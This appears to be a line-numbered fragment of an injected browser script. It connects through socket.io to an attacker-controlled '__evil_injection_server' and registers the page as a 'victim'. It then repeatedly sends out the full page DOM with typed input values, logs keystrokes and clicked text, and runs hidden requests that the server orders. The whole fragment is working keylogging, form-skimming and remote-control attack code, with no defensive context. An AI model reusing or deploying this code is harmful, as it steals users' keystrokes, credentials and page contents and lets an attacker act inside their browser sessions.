3 if (window.__injection_active) return
4 window.__injection_active = true
6 var socket = io.connect('http://'+__evil_injection_server);
7 socket.emit('register_victim')
8 if (window.top === window) {
9 setInterval(function() {
10 /*html2canvas(document.body, { onrendered: function(canvas) {
11 socket.emit('screenshot', {data:canvas.toDataURL()})
14 [].forEach.call(document.getElementsByTagName('input'), function(e) {
15 e.setAttribute('value', e.value)
17 socket.emit('fulldom', {data:escape(document.childNodes[document.childNodes.length-1].innerHTML)})
21 /*if (window.top === window) {
22 setInterval(function() {
23 //var docclone = document.createElement('html')
24 //docclone.innerHTML = document.body.parentNode.innerHTML
29 window.addEventListener('keydown', function(e) {
30 socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keydown'})
33 window.addEventListener('keypress', function(e) {
34 socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keypress'})
37 window.addEventListener('click', function(e) {
39 while (['a','button','input'].indexOf(target.nodeName.toLowerCase()) === -1) {
40 target = target.parentNode
42 var text = target ? target.innerText : null
43 socket.emit('keypress', {type: 'click', text: text})
46 socket.on('trigger_request', function(cmd) {
47 var img_el = document.createElement(cmd.type||'img')
48 img_el.style.opacity = '0%'
50 document.body.appendChild(img_el)
51 setTimeout(function() {
52 document.body.removeChild(img_el)